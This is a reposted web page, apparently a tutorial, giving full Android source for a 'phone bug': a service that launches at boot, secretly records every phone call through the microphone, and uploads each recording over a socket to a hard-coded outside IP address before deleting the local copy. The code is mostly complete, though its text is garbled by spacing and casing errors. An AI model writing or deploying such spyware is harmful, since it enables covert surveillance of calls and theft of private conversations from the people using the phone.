Android phone bug implementation

Source: Internet
Author: User

PhoneListenService. java [java] package cn. itcast. phone; import java. io. file; import java. io. outputStream; import java. io. pushbackInputStream; import java. io. randomAccessFile; import java.net. socket; import cn. itcast. utils. streamTool; import android. app. service; import android. content. context; import android. content. intent; import android. media. mediaRecorder; import android. OS. IBinder; import android. Telephony. phoneStateListener; import android. telephony. telephonyManager; import android. util. log; public class PhoneListenService extends Service {private static final String TAG = "PhoneListenService"; @ Override public void onCreate () {TelephonyManager telManager = (TelephonyManager) getSystemService (Context. TELEPHONY_SERVICE); telManager. listen (new TelListener (), PhoneStateListener. LISTEN_CAL L_STATE); Log. I (TAG, "service created"); super. onCreate () ;}@ Override public void onDestroy () {// clear all files in the cache directory File [] files = getCacheDir (). listFiles (); if (files! = Null) {for (File f: files) {f. delete () ;}} Log. I (TAG, "service destroy"); super. onDestroy ();} private class TelListener extends PhoneStateListener {private MediaRecorder recorder; private String mobile; private File audioFile; private boolean record; @ Override public void onCallStateChanged (int state, String incomingNumber) {try {switch (state) {case TelephonyManager. CALL_STATE_IDLE:/* when no status exists */If (record) {recorder. stop (); // stop burning recorder. release (); record = false; new Thread (new UploadTask ()). start (); Log. I (TAG, "start upload file");} break; case TelephonyManager. CALL_STATE_OFFHOOK:/* Start call */Log. I (TAG, "OFFHOOK:" + mobile); recorder = new MediaRecorder (); recorder. setAudioSource (MediaRecorder. audioSource. MIC); // collect the sound recorder from the microphone. setOutputFormat (MediaRecorder. outputFormat. THREE_GPP); // Content output format recorder. setAudioEncoder (MediaRecorder. audioEncoder. AMR_NB); // audio encoding method audioFile = new File (getCacheDir (), mobile + "_" + System. currentTimeMillis () + ". 3gp "); recorder. setOutputFile (audioFile. getAbsolutePath (); recorder. prepare (); // The expected recorder. start (); // start to burn record = true; break; case TelephonyManager. CALL_STATE_RINGING:/* when the phone comes in */Log. I (TAG, "incomingNumber:" + incomingNumber); mobile = I NcomingNumber; break; default: break;} catch (Exception e) {Log. e (TAG, e. toString ();} super. onCallStateChanged (state, incomingNumber);} private final class UploadTask implements Runnable {@ Override public void run () {try {Socket socket Socket = new Socket ("220.113.15.71", 7878 ); outputStream outStream = socket. getOutputStream (); String head = "Content-Length =" + audioFile. length () + "; filename =" + AudioFile. getName () + "; sourceid = \ r \ n"; outStream. write (head. getBytes (); PushbackInputStream inStream = new PushbackInputStream (socket. getInputStream (); String response = StreamTool. readLine (inStream); String [] items = response. split (";"); String position = items [1]. substring (items [1]. indexOf ("=") + 1); RandomAccessFile fileOutStream = new RandomAccessFile (audioFile, "r"); fileOutStream. seek (Inte Ger. valueOf (position); byte [] buffer = new byte [1024]; int len =-1; while (len = fileOutStream. read (buffer ))! =-1) {outStream. write (buffer, 0, len);} fileOutStream. close (); outStream. close (); inStream. close (); socket. close (); audioFile. delete ();} catch (Exception e) {Log. e (TAG, e. toString () ;}}}@ Override public IBinder onBind (Intent intent) {// TODO Auto-generated method stub return null;} BootBroadcastReceiver. java [java] package cn. itcast. phone; import android. content. broadcastReceiver; impo Rt android. content. context; import android. content. intent; public class BootBroadcastReceiver extends BroadcastReceiver {@ Override public void onReceive (Context context, Intent intent) {Intent service = new Intent (context, PhoneListenService. class); context. startService (service) ;}} AndroidManifest. xml [html] <? Xml version = "1.0" encoding = "UTF-8"?> <Manifest xmlns: android = "http://schemas.android.com/apk/res/android" package = "cn. itcast. phone "android: versionCode =" 1 "android: versionName =" 1.0 "> <application android: icon =" @ drawable/icon "android: label = "@ string/app_name"> <service android: name = ". phoneListenService "/> <Cycler android: name = ". bootBroadcastReceiver "> <intent-filter> <action android: name =" android. intent. action. BOOT_COMPLETED "/> </I Ntent-filter> </receiver> </application> <uses-sdk android: minSdkVersion = "7"/> <uses-permission android: name = "android. permission. RECORD_AUDIO "/> <! -- Access Network permissions --> <uses-permission android: name = "android. permission. INTERNET "/> <uses-permission android: name =" android. permission. READ_PHONE_STATE "/> <uses-permission android: name =" android. permission. RECEIVE_BOOT_COMPLETED "/> </manifest>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.